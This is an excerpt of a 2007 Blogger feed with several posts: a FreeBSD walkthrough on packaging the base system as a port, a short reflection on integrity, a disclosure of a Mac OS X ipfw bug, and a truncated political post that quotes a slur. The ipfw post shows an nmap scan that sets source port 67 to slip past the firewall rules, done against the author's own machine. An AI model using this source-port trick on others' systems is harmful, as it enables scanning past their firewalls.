scheme='http://www.blogger.com/atom/ns#' term='freebsd'/><category scheme='http://www.blogger.com/atom/ns#' term='build'/><category scheme='http://www.blogger.com/atom/ns#' term='world'/><category scheme='http://www.blogger.com/atom/ns#' term='sysadmin'/><category scheme='http://www.blogger.com/atom/ns#' term='sysinstall'/><category scheme='http://www.blogger.com/atom/ns#' term='install.cfg'/><title type='text'>Smoking the FreeBSD Crack (and other adventures with ports and packages) Part 1</title><content type='html'>I'm a sick boy.&lt;br /&gt;&lt;br /&gt;I want to do the following:&lt;br /&gt;&lt;br /&gt;--) PXE boot a client and have it load boot/pxeboot (done)&lt;br /&gt;--) pxeboot loads a 6.2 kernel and NFS roots world (done)&lt;br /&gt;--) /sbin/init happens to be missing from this world, but there's an install.cfg around :-o&lt;br /&gt;--) install.cfg wipes the disks and lays out a partition scheme&lt;br /&gt;--) install.cfg then installs a couple packages via NFS.  The first package is the base system (versus using distribution stuff)&lt;br /&gt;&lt;br /&gt;/me lays off the crack pipe for a sec...&lt;br /&gt;&lt;br /&gt;Reason being, packages rule and distributions suck.  I can use one framework (/var/db/pkg) to see what should be installed.  Then, using subversion and more magic, any /etc, /usr/local/etc, (and /boot for main boxes) can be rolled up also as packages.  This is cool.&lt;br /&gt;&lt;br /&gt;So, first steps:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/bin/csh&lt;br /&gt;# Build Stuff&lt;br /&gt;cd /usr/src&lt;br /&gt;setenv DISTRO base+kern-62&lt;br /&gt;setenv DST /space/${DISTRO}&lt;br /&gt;mkdir ${DST}&lt;br /&gt;cd /usr/src/sys/amd64/conf/&lt;br /&gt;cp SMP SMP,orig&lt;br /&gt;vi SMP&lt;br /&gt;cd /usr/src&lt;br /&gt;make buildworld DESTDIR=${DST}&lt;br /&gt;make buildkernel KERNCONF=SMP DESTDIR=${DST}&lt;br /&gt;make installworld DESTDIR=${DST}&lt;br /&gt;make distribution DESTDIR=${DST}&lt;br /&gt;make installkernel KERNCONF=SMP DESTDIR=${DST}&lt;br /&gt;# Record stuff for plist, taken from the Porter's Handbook&lt;br /&gt;touch OLD-DIRS&lt;br /&gt;touch pkg-plist&lt;br /&gt;(cd ${DST} &amp;&amp; find -d * \! -type d) | sort &gt; pkg-plist&lt;br /&gt;(cd ${DST} &amp;&amp; find -d * -type d) | sort | comm -13 OLD-DIRS - | sort -r | sed -e 's#^#@dirrm #' &gt;&gt; pkg-plist&lt;br /&gt;# Grab the base ports&lt;br /&gt;nolo# diff -u /usr/share/examples/cvsup/ports-supfile ports-supfile &lt;br /&gt;--- /usr/share/examples/cvsup/ports-supfile     Fri Jan 12 07:12:19 2007&lt;br /&gt;+++ ports-supfile       Sun Mar 25 10:38:06 2007&lt;br /&gt;@@ -48,7 +48,7 @@&lt;br /&gt; #&lt;br /&gt; # IMPORTANT: Change the next line to use one of the CVSup mirror sites&lt;br /&gt; # listed at http://www.freebsd.org/doc/handbook/mirrors.html.&lt;br /&gt;-*default host=CHANGE_THIS.FreeBSD.org&lt;br /&gt;+*default host=cvsup9.FreeBSD.org&lt;br /&gt; *default base=/var/db&lt;br /&gt; *default prefix=/usr&lt;br /&gt; *default release=cvs tag=.&lt;br /&gt;@@ -64,7 +64,7 @@&lt;br /&gt; # The easiest way to get the ports tree is to use the "ports-all"&lt;br /&gt; # mega-collection.  It includes all of the individual "ports-*"&lt;br /&gt; # collections,&lt;br /&gt;-ports-all&lt;br /&gt;+#ports-all&lt;br /&gt; &lt;br /&gt; # These are the individual collections that make up "ports-all".  If you&lt;br /&gt; # use these, be sure to comment out "ports-all" above.&lt;br /&gt;@@ -73,7 +73,7 @@&lt;br /&gt; # other individual collections below. ports-base is a mandatory collection&lt;br /&gt; # for the ports collection, and your ports may not build correctly if it&lt;br /&gt; # is not kept up to date.&lt;br /&gt;-#ports-base&lt;br /&gt;+ports-base&lt;br /&gt; #ports-accessibility&lt;br /&gt; #ports-arabic&lt;br /&gt; #ports-archivers&lt;br /&gt;&lt;br /&gt;cvsup ports-supfile&lt;br /&gt;mkdir -p /usr/ports/local/base+kern&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Okay, the Porter's Handbook wants me to list out the man and info pages.  For now, I'll be skipping that...  Also, I won't be using the port (for the moment) to actually build the src.  That's a cool idea for later.&lt;br /&gt;&lt;br /&gt;Here's my first Makefile:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# New ports collection makefile for:    base+kern&lt;br /&gt;# Date created:        25 March 2007&lt;br /&gt;# Whom:                cykyc&lt;br /&gt;#&lt;br /&gt;# $FreeBSD$&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;PORTNAME=       base+kern&lt;br /&gt;PORTVERSION=    6.2.r&lt;br /&gt;PORTREVERSION=  2&lt;br /&gt;CATEGORIES=     sysutil&lt;br /&gt;MASTER_SITES=   ftp://ftp.cs.columbia.edu/archives/X11R5/contrib/&lt;br /&gt;&lt;br /&gt;MAINTAINER=     jon.passki@hursk.com&lt;br /&gt;COMMENT=        base + kernel install (no make.conf)&lt;br /&gt;&lt;br /&gt;NO_WRKSUBDIR=   yes&lt;br /&gt;&lt;br /&gt;.include &lt;bsd.port.mk&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Looks like the base ports needs perl to do things, whoopy&lt;br /&gt;&lt;br /&gt;pkg_add -r perl&lt;br /&gt;cd /usr/ports&lt;br /&gt;make index&lt;br /&gt;cd local/base+kern&lt;br /&gt;make describe&lt;br /&gt;&lt;br /&gt;Grrr!!!!&lt;br /&gt;&lt;br /&gt;Looks like "ports-ports-mgmt" is not in the ports-supfile...&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;nolo# diff -u /usr/share/examples/cvsup/ports-supfile ~/ports-supfile&lt;br /&gt;--- /usr/share/examples/cvsup/ports-supfile     Fri Jan 12 07:12:19 2007&lt;br /&gt;+++ /root/ports-supfile Sun Mar 25 11:13:09 2007&lt;br /&gt;@@ -48,7 +48,7 @@&lt;br /&gt; #&lt;br /&gt; # IMPORTANT: Change the next line to use one of the CVSup mirror sites&lt;br /&gt; # listed at http://www.freebsd.org/doc/handbook/mirrors.html.&lt;br /&gt;-*default host=CHANGE_THIS.FreeBSD.org&lt;br /&gt;+*default host=cvsup9.FreeBSD.org&lt;br /&gt; *default base=/var/db&lt;br /&gt; *default prefix=/usr&lt;br /&gt; *default release=cvs tag=.&lt;br /&gt;@@ -64,7 +64,7 @@&lt;br /&gt; # The easiest way to get the ports tree is to use the "ports-all"&lt;br /&gt; # mega-collection.  It includes all of the individual "ports-*"&lt;br /&gt; # collections,&lt;br /&gt;-ports-all&lt;br /&gt;+#ports-all&lt;br /&gt; &lt;br /&gt; # These are the individual collections that make up "ports-all".  If you&lt;br /&gt; # use these, be sure to comment out "ports-all" above.&lt;br /&gt;@@ -73,7 +73,8 @@&lt;br /&gt; # other individual collections below. ports-base is a mandatory collection&lt;br /&gt; # for the ports collection, and your ports may not build correctly if it&lt;br /&gt; # is not kept up to date.&lt;br /&gt;-#ports-base&lt;br /&gt;+ports-base&lt;br /&gt;+ports-ports-mgmt&lt;br /&gt; #ports-accessibility&lt;br /&gt; #ports-arabic&lt;br /&gt; #ports-archivers&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;cd /usr/ports/ports-mgmt/portlint &amp;&amp; make install&lt;br /&gt;cd /usr/ports/local/base+kern/ &amp;&amp; rehash&lt;br /&gt;portlint&lt;br /&gt;FATAL: no /usr/ports/local/base+kern/pkg-descr in ".".&lt;br /&gt;FATAL: Makefile: extra item "PORTREVERSION" placed in the PORTNAME section.&lt;br /&gt;WARN: Makefile: only one MASTER_SITE configured.  Consider adding additional mirrors.&lt;br /&gt;WARN: Makefile: using "+" in PORTNAME. You should modify "base+kern".&lt;br /&gt;WARN: Makefile: COMMENT should begin with a capital, and end without a period&lt;br /&gt;FATAL: no /usr/ports/local/base+kern/distinfo in ".".&lt;br /&gt;3 fatal errors and 3 warnings found.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Whoops!!&lt;br /&gt;&lt;br /&gt;--) F-n sakes... blew away the ports-mgmt to qwell make index&lt;br /&gt;--) Changed the port name and directory; updated the INDEX file&lt;br /&gt;--) Created a pkg-descr&lt;br /&gt;--) Copied the pkg-plist file into the dir&lt;br /&gt;--) Added ftp user...&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;nolo# adduser&lt;br /&gt;Username: FTP&lt;br /&gt;Full name: ^C&lt;br /&gt;nolo# adduser&lt;br /&gt;Username: ftp&lt;br /&gt;Full name: ftp&lt;br /&gt;Uid (Leave empty for default): 21&lt;br /&gt;Login group [ftp]: &lt;br /&gt;Login group is ftp. Invite ftp into other groups? []: no&lt;br /&gt;Group no does not exist!&lt;br /&gt;Login group is ftp. Invite ftp into other groups? []: &lt;br /&gt;Login class [default]: &lt;br /&gt;Shell (sh csh tcsh nologin) [sh]: nologin&lt;br /&gt;Home directory [/home/ftp]: /usr/local/ftp/./pub&lt;br /&gt;Use password-based authentication? [yes]: no&lt;br /&gt;Lock out the account after creation? [no]: &lt;br /&gt;Username   : ftp&lt;br /&gt;Password   : &lt;disabled&gt;&lt;br /&gt;Full Name  : ftp&lt;br /&gt;Uid        : 21&lt;br /&gt;Class      : &lt;br /&gt;Groups     : ftp &lt;br /&gt;Home       : /usr/local/ftp/./pub&lt;br /&gt;Shell      : /usr/sbin/nologin&lt;br /&gt;Locked     : no&lt;br /&gt;OK? (yes/no): yes&lt;br /&gt;adduser: INFO: Successfully added (ftp) to the user database.&lt;br /&gt;Add another user? (yes/no): no&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Added info to rc.conf&lt;br /&gt;[...]&lt;br /&gt;ftpd_enable="YES"&lt;br /&gt;ftpd_flags="-A -r"&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;Hardened a bit:&lt;br /&gt;chmod 700 /usr/local/ftp&lt;br /&gt;chown root !$&lt;br /&gt;mkdir -p /usr/local/ftp/etc &lt;br /&gt;cd /usr/local/ftp/etc&lt;br /&gt;ln /etc/pwd.db pwd.db&lt;br /&gt;ln /etc/group group&lt;br /&gt;chmod 444 *&lt;br /&gt;chmod 555 .&lt;br /&gt;cd ..&lt;br /&gt;chmod 755 pub&lt;br /&gt;mv pub/.* .&lt;br /&gt;chown root .*&lt;br /&gt;chown root pub&lt;br /&gt;/etc/rc.d/ftpd start&lt;br /&gt;&lt;br /&gt;New Makefile:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# New ports collection makefile for:    base_kern&lt;br /&gt;# Date created:        25 March 2007&lt;br /&gt;# Whom:                cykyc&lt;br /&gt;#&lt;br /&gt;# $FreeBSD$&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;PORTNAME=       base_kern&lt;br /&gt;PORTVERSION=    6.2.r&lt;br /&gt;PORTREVISION=   2&lt;br /&gt;CATEGORIES=     sysutils&lt;br /&gt;MASTER_SITES=   ftp://192.168.1.102/pub/&lt;br /&gt;&lt;br /&gt;MAINTAINER=     jon.passki@hursk.com&lt;br /&gt;COMMENT=        FreeBSD base + kernel install (no make.conf).&lt;br /&gt;&lt;br /&gt;USE_BZIP2=      yes&lt;br /&gt;NO_WRKSUBDIR=   yes&lt;br /&gt;EXTRACT_ONLY=&lt;br /&gt;NO_BUILD=       yes&lt;br /&gt;NO_MTREE=       yes&lt;br /&gt;PREFIX?=       /space/test&lt;br /&gt;&lt;br /&gt;.include &lt;bsd.port.pre.mk&gt;&lt;br /&gt;do-install:&lt;br /&gt;        ${TAR} -pjxf ${DISTDIR}/${DISTFILES} -C ${TARGETDIR}&lt;br /&gt;.include &lt;bsd.port.post.mk&gt;&lt;br /&gt;&lt;br /&gt;#distinfo creation&lt;br /&gt;make makesum&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;WHOOP!!!&lt;br /&gt;did a make deinstall and make package as a test.  need to take care of the chflags -R noschg part...&lt;br /&gt;Also, need to make changes to allow for different prefixes to the ports, for naming of jails...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hmmm... need to setup the plist to allow for empty directories...&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;(cd ${DST} &amp;&amp; find -d * -type d) | sort | comm -13 OLD-DIRS - | sort -r | awk '{print "@exec mkdir -p %D/" $0; print "@dirrm "$0}' &gt;&gt; pkg-plist&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;That works...&lt;br /&gt;&lt;br /&gt;Now just need to fix up the chflags stuff...&lt;br /&gt;&lt;pre&gt;( cd ${DST} &amp;&amp; find -d * -flags +schg ) | sort -r | sed -e 's#^#@unexec chflags noschg #' &gt;&gt; pkg-plist&lt;/pre&gt;&lt;br /&gt;Oh, and the dot files in the / directory...&lt;br /&gt;&lt;pre&gt;cd ${DST} &amp;&amp; find -f . \! -type d) |  sed -e 's#^\.\/##' | sort &gt; pkg-plist&lt;/pre&gt;&lt;br /&gt;... and all combined:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# Record stuff for plist, taken from the Porter's Handbook&lt;br /&gt;rm pkg-plist&lt;br /&gt;rm OLD-DIRS&lt;br /&gt;touch OLD-DIRS&lt;br /&gt;touch pkg-plist&lt;br /&gt;(cd ${DST} &amp;&amp; find -f . \! -type d) |  sed -e 's#^\.\/##' | sort &gt; pkg-plist&lt;br /&gt;(cd ${DST} &amp;&amp; find -d * -flags +schg ) | sort -r | sed -e 's#^#@unexec chflags noschg %D/#' &gt;&gt; pkg-plist&lt;br /&gt;(cd ${DST} &amp;&amp; find -d * -type d) | sort | comm -13 OLD-DIRS - | sort -r | awk '{print "@exec mkdir -p %D/" $0; print "@dirrm "$0}' &gt;&gt; pkg-plist&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Hmm, got the ordering wrong there...  Looks like the chflags have to be executed first.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# Record stuff for plist, taken from the Porter's Handbook&lt;br /&gt;rm pkg-plist&lt;br /&gt;rm OLD-DIRS&lt;br /&gt;touch OLD-DIRS&lt;br /&gt;touch pkg-plist&lt;br /&gt;(cd ${DST} &amp;&amp; find -d * -flags +schg ) | sort -r | sed -e 's#^#@unexec chflags noschg %D/#' &gt; pkg-plist&lt;br /&gt;(cd ${DST} &amp;&amp; find -f . \! -type d) |  sed -e 's#^\.\/##' | sort &gt;&gt; pkg-plist&lt;br /&gt;(cd ${DST} &amp;&amp; find -d * -type d) | sort | comm -13 OLD-DIRS - | sort -r | awk '{print "@exec mkdir -p %D/" $0; print "@dirrm "$0}' &gt;&gt; pkg-plist&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;WHOOP!&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;nolo# make package PACKAGES=/space&lt;br /&gt;===&gt;  Installing for base_kern-6.2.r_2&lt;br /&gt;===&gt;   Generating temporary packing list&lt;br /&gt;===&gt;  Checking if sysutils/base_kern already installed&lt;br /&gt;/usr/bin/tar -pjxf /usr/ports/distfiles/base_kern-6.2.r.tar.bz2 -C /space/test&lt;br /&gt;===&gt;   Registering installation for base_kern-6.2.r_2&lt;br /&gt;===&gt; SECURITY REPORT: &lt;br /&gt;      This port has installed the following binaries, which execute with&lt;br /&gt;      increased privileges.&lt;br /&gt;/space/test/usr/sbin/mrinfo&lt;br /&gt;[...]&lt;br /&gt;/space/test/usr/sbin/ppp&lt;br /&gt;&lt;br /&gt;      This port has installed the following files, which may act as network&lt;br /&gt;      servers and may therefore pose a remote security risk to the system.&lt;br /&gt;/space/test/usr/sbin/rip6query&lt;br /&gt;[...]&lt;br /&gt;/space/test/usr/sbin/inetd&lt;br /&gt;&lt;br /&gt;      This port has installed the following startup scripts, which may cause&lt;br /&gt;      these network services to be started at boot time.&lt;br /&gt;/space/test/etc/rc.d/dmesg&lt;br /&gt;[...]&lt;br /&gt;/space/test/etc/rc.d/geli2&lt;br /&gt;&lt;br /&gt;      If there are vulnerabilities in these programs there may be a security&lt;br /&gt;      risk to the system. FreeBSD makes no guarantee about the security of&lt;br /&gt;      ports included in the Ports Collection. Please type 'make deinstall'&lt;br /&gt;      to deinstall the port if this is a concern.&lt;br /&gt;&lt;br /&gt;      For more information, and contact details about the security&lt;br /&gt;      status of this software, see the following webpage: &lt;br /&gt;http://www.hursk.com&lt;br /&gt;===&gt;  Building package for base_kern-6.2.r_2&lt;br /&gt;Creating package /space/All/base_kern-6.2.r_2.tbz&lt;br /&gt;Registering depends:.&lt;br /&gt;Creating bzip'd tar ball in '/space/All/base_kern-6.2.r_2.tbz'&lt;br /&gt;nolo# make deinstall&lt;br /&gt;===&gt;  Deinstalling for sysutils/base_kern&lt;br /&gt;===&gt;   Deinstalling base_kern-6.2.r_2&lt;br /&gt;nolo# &lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-5418909789289113915?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/5418909789289113915/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=5418909789289113915' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/5418909789289113915'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/5418909789289113915'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2007/03/smoking-freebsd-crack-and-other.html' title='Smoking the FreeBSD Crack (and other adventures with ports and packages) Part 1'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-6989168268153268813</id><published>2007-03-17T08:53:00.000-06:00</published><updated>2007-03-17T09:04:03.748-06:00</updated><title type='text'>Integrity, Reputation, Honor, sometimes...</title><content type='html'>My biz partner and I had a great breakfast yesterday with a former colleague we'll call Rico.  During the discussion, Uncle Rico as I usually call him, talked about some two-faced stories he heard from yet another mutual former colleague.  None of us are free from sin.  Heck, I probably committed five sins before I even had my first cup of coffee (and I'm an atheist ;-)  For me, though, I hope I never violate my integrity.  (Or, if I do, at least have a High Access Complexity and a Local Access Vector to reduce my &lt;a href="http://nvd.nist.gov/cvss.cfm?calculator"&gt;score&lt;/a&gt;.)  If I do, I know I have fallen far...&lt;br&gt;&lt;br /&gt;As my pops would say, you can trust a thief to steal from you but you can't trust a liar.  You'll never know when you're being lied to.&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-6989168268153268813?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/6989168268153268813/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=6989168268153268813' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/6989168268153268813'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/6989168268153268813'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2007/03/integrity-reputation-honor-sometimes.html' title='Integrity, Reputation, Honor, sometimes...'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-3542926215238129599</id><published>2007-03-12T06:17:00.000-06:00</published><updated>2007-03-17T09:11:03.965-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='ipfw'/><category scheme='http://www.blogger.com/atom/ns#' term='mac os x'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerability'/><title type='text'>Mac OS X 10.4 ipfw issue (silly post on old bug report from 2005)</title><content type='html'>Enable the "Block UDP Traffic" advanced option under Security Preferences -&gt; Sharing -&gt; Firewall.  The IPFW rules created allow for full UDP access if the source port is either 5353 or 67/UDP.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;% sudo ipfw list&lt;br /&gt;Password:&lt;br /&gt;02000 allow ip from any to any via lo*&lt;br /&gt;02010 deny ip from 127.0.0.0/8 to any in&lt;br /&gt;02020 deny ip from any to 127.0.0.0/8 in&lt;br /&gt;02030 deny ip from 224.0.0.0/3 to any in&lt;br /&gt;02040 deny tcp from any to 224.0.0.0/3 in&lt;br /&gt;02050 allow tcp from any to any out&lt;br /&gt;02060 allow tcp from any to any established&lt;br /&gt;12190 deny log tcp from any to any&lt;br /&gt;20310 allow udp from any to any dst-port 53 in&lt;br /&gt;20320 allow udp from any to any dst-port 68 in&lt;br /&gt;20321 allow udp from any 67 to me in&lt;br /&gt;20322 allow udp from any 5353 to me in&lt;br /&gt;20340 allow udp from any to any dst-port 137 in&lt;br /&gt;20350 allow udp from any to any dst-port 427 in&lt;br /&gt;20360 allow udp from any to any dst-port 631 in&lt;br /&gt;20370 allow udp from any to any dst-port 5353 in&lt;br /&gt;30510 allow udp from me to any out keep-state&lt;br /&gt;30520 allow udp from any to any in frag&lt;br /&gt;35000 deny log udp from any to any in&lt;br /&gt;65535 allow ip from any to any&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Rules 20321 and 20322 will allow any inbound UDP packet, regardless of the next UDP rules if the source port is 67 or 5353 respectively.  For example, these are my open UDP ports:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;netstat -anp udp&lt;br /&gt;Active Internet connections (including servers)&lt;br /&gt;Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)&lt;br /&gt;udp4       0      0  *.*                    *.*                    &lt;br /&gt;udp4       0      0  *.5353                 *.*                    &lt;br /&gt;udp4       0      0  192.168.2.62.50012     *.*                    &lt;br /&gt;udp4       0      0  127.0.0.1.49159        127.0.0.1.1022         &lt;br /&gt;udp4       0      0  127.0.0.1.49158        127.0.0.1.1022         &lt;br /&gt;udp4       0      0  127.0.0.1.1022         *.*                    &lt;br /&gt;udp4       0      0  127.0.0.1.49156        127.0.0.1.1023         &lt;br /&gt;udp4       0      0  127.0.0.1.1023         *.*                    &lt;br /&gt;udp4       0      0  192.168.2.62.123       *.*                    &lt;br /&gt;udp4       0      0  127.0.0.1.123          *.*                    &lt;br /&gt;udp4       0      0  *.123                  *.*                    &lt;br /&gt;udp4       0      0  *.631                  *.*                    &lt;br /&gt;udp6       0      0  *.5353                 *.*                    &lt;br /&gt;udp4       0      0  *.5353                 *.*                    &lt;br /&gt;udp4       0      0  127.0.0.1.1033         *.*    &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;With the above rules, no traffic should be allowed inbound to NTP (123/udp).  I disabled the Stealth rule to get ICMP destination port unreachables.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;% sw_vers&lt;br /&gt;ProductName:    Mac OS X&lt;br /&gt;ProductVersion: 10.4.3&lt;br /&gt;BuildVersion:   8F46&lt;br /&gt;&lt;br /&gt;(ibook == 192.168.2.62)&lt;br /&gt;&lt;br /&gt;[jon@dominique] ~ {105}&gt; sudo nmap -P0 -n -v -sU -p 1,123,631,500 192.168.2.62&lt;br /&gt;Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2005-12-21 21:52 CST&lt;br /&gt;Initiating UDP Scan against 192.168.2.62 [4 ports] at 21:52&lt;br /&gt;The UDP Scan took 3.03s to scan 4 total ports.&lt;br /&gt;Host 192.168.2.62 appears to be up ... good.&lt;br /&gt;Interesting ports on 192.168.2.62:&lt;br /&gt;PORT    STATE         SERVICE&lt;br /&gt;1/udp   open|filtered tcpmux&lt;br /&gt;123/udp open|filtered ntp&lt;br /&gt;500/udp open|filtered isakmp&lt;br /&gt;631/udp open|filtered unknown&lt;br /&gt;&lt;br /&gt;Nmap finished: 1 IP address (1 host up) scanned in 3.039 seconds&lt;br /&gt;               Raw packets sent: 8 (224B) | Rcvd: 0 (0B)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;So, nothing was sent out, since three of the ports were blocked and one was open (no ICMP error on the open port).  Here's the logs:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Dec 21 21:51:02 ibook ipfw:  35000 Deny UDP 192.168.2.12:50869 192.168.2.62:500 in via en1&lt;br /&gt;Dec 21 21:51:02 ibook ipfw:  35000 Deny UDP 192.168.2.12:50869 192.168.2.62:1 in via en1&lt;br /&gt;Dec 21 21:51:02 ibook ipfw:  35000 Deny UDP 192.168.2.12:50869 192.168.2.62:123 in via en1&lt;br /&gt;Dec 21 21:51:04 ibook ipfw:  35000 Deny UDP 192.168.2.12:50870 192.168.2.62:123 in via en1&lt;br /&gt;Dec 21 21:51:04 ibook ipfw:  35000 Deny UDP 192.168.2.12:50870 192.168.2.62:1 in via en1&lt;br /&gt;Dec 21 21:51:04 ibook ipfw:  35000 Deny UDP 192.168.2.12:50870 192.168.2.62:500 in via en1&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;nmap sends out a couple packets per query.  Now, here's w/ a set source port:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;[jon@dominique] ~ {106}&gt; sudo nmap -P0 -n -v -sU --source_port 67 -p 1,123,631,500 192.168.2.62&lt;br /&gt;&lt;br /&gt;Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2005-12-21 21:52 CST&lt;br /&gt;Initiating UDP Scan against 192.168.2.62 [4 ports] at 21:52&lt;br /&gt;The UDP Scan took 1.23s to scan 4 total ports.&lt;br /&gt;Host 192.168.2.62 appears to be up ... good.&lt;br /&gt;Interesting ports on 192.168.2.62:&lt;br /&gt;PORT    STATE         SERVICE&lt;br /&gt;1/udp   closed        tcpmux&lt;br /&gt;123/udp open|filtered ntp&lt;br /&gt;500/udp closed        isakmp&lt;br /&gt;631/udp open|filtered unknown&lt;br /&gt;&lt;br /&gt;Nmap finished: 1 IP address (1 host up) scanned in 1.237 seconds&lt;br /&gt;               Raw packets sent: 6 (168B) | Rcvd: 2 (112B)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;So, 1 and 500/udp got ICMP packets back.  Also, no ports were blocked in the log, since they never got to rule #35000 anyway.  Not a positive test, mind you.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-3542926215238129599?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/3542926215238129599/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=3542926215238129599' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3542926215238129599'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3542926215238129599'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2007/03/mac-os-x-104-ipfw-issue-silly-post-on.html' title='Mac OS X 10.4 ipfw issue (silly post on old bug report from 2005)'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-1495331354885855751</id><published>2007-03-04T13:49:00.000-06:00</published><updated>2007-03-04T13:52:19.413-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='2008 presidential election'/><category scheme='http://www.blogger.com/atom/ns#' term='ann coulter'/><category scheme='http://www.blogger.com/atom/ns#' term='hatred'/><category scheme='http://www.blogger.com/atom/ns#' term='politics'/><title type='text'>On Ann Coulter and Hatred</title><content type='html'>I'm a &lt;a href="http://en.wikipedia.org/wiki/Big_Gay_Al"&gt;Big Gay Al&lt;/a&gt;.  A lot of my friends are also Big Gay Al's or Dykes on Bikes (sorry, no wikipedia article yet on them!).  We're not faggots, although some of us might smoke faggots if we're from the other side of the pond.  So, if you haven't heard, &lt;a href="http://en.wikipedia.org/wiki/Ann_Coulter"&gt;Ann Coulter&lt;/a&gt; said on March 2nd... oh, shit, might as well just quote her:&lt;br&gt;&lt;br&gt;"I was going to have a few comments on the other Democratic presidential candidate John Edwards, but it turns out you have to go into rehab if you use the word 'faggot,' so I — so kind of an impasse, can't really talk about Edwards,"&lt;br&gt;&lt;br&gt;-- Ann Coulter, March 2nd, 2007 at the Conservative Political Action Conference in Washington, D.C.&lt;br&gt;&lt;br&gt;Without getting too emotional, yet, let's step way back and see why she's doing this...&lt;br&gt;&lt;br&gt;To explain this, I have to call up the image of George W. Bush (no references needed, we all know Dubya).  He and his puppeteer, &lt;a href="http://en.wikipedia.org/wiki/Karl_Rove"&gt;Karl Rove&lt;/a&gt;, know how to rile people up.  They change discourse from a nice logical and rational level, where two completely different people can agree to disagree, down to a dirty and emotional level where fear, uncertainty, and doubt (FUD) only live.  They did this so well that we as a society were bamboozled into having him twice be our president.  Why?  Because of wonderful statements just like Ann Coulter made.  Be emotional at all times to divide the people.  You're either appauled, apathetic, or amused at all of these loony comments.&lt;br&gt;&lt;br&gt;Such 